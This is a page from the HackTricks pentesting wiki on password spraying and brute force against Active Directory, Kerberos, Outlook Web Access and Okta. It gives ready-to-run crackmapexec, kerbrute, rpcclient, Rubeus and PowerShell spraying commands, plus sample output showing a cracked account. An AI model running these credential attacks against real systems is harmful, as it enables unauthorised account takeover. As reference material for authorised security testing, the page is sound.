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190 lines
8.5 KiB
Markdown
190 lines
8.5 KiB
Markdown
# Password Spraying / Brute Force
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
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Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
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{% embed url="https://academy.8ksec.io/" %}
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## **Password Spraying**
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Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\
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By **default** the **minimum** **password** **length** is **7**.
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Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
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Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10).
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### Get password policy
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If you have some user credentials or a shell as a domain user you can **get the password policy with**:
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```bash
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# From Linux
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crackmapexec <IP> -u 'user' -p 'password' --pass-pol
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enum4linux -u 'username' -p 'password' -P <IP>
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rpcclient -U "" -N 10.10.10.10;
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rpcclient $>querydominfo
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ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
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# From Windows
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net accounts
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(Get-DomainPolicy)."SystemAccess" #From powerview
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```
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### Exploitation from Linux (or all)
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* Using **crackmapexec:**
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```bash
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crackmapexec smb <IP> -u users.txt -p passwords.txt
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# Local Auth Spray (once you found some local admin pass or hash)
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## --local-auth flag indicate to only try 1 time per machine
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crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
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```
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* Using [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
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```bash
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# Password Spraying
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./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
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# Brute-Force
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./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
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```
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* [**spray**](https://github.com/Greenwolf/Spray) _**(you can indicate number of attempts to avoid lockouts):**_
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```bash
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spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
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```
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* Using [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK
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```bash
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python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
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python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
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```
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* With the `scanner/smb/smb_login` module of **Metasploit**:
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.png>)
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* Using **rpcclient**:
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```bash
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# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
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for u in $(cat users.txt); do
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rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
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done
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```
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#### From Windows
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* With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:
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```bash
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# with a list of users
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.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
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# check passwords for all users in current domain
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.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
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```
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* With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it):
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```powershell
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Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
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```
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* With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
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```
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Invoke-SprayEmptyPassword
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```
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## Brute Force
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{% code overflow="wrap" %}
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```bash
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legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
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```
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{% endcode %}
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## Outlook Web Access
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There are multiples tools for p**assword spraying outlook**.
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* With [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
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* with [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
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* With [Ruler](https://github.com/sensepost/ruler) (reliable!)
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* With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
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* With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
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To use any of these tools, you need a user list and a password / a small list of passwords to spray.
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```bash
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./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
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[x] Failed: larsson:Summer2020
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[x] Failed: cube0x0:Summer2020
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[x] Failed: a.admin:Summer2020
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[x] Failed: c.cube:Summer2020
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[+] Success: s.svensson:Summer2020
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```
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## Google
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* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
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## Okta
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* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
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* [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
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* [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
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## References
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* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
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* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
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* [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
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* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
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<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
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Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
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{% embed url="https://academy.8ksec.io/" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
|
|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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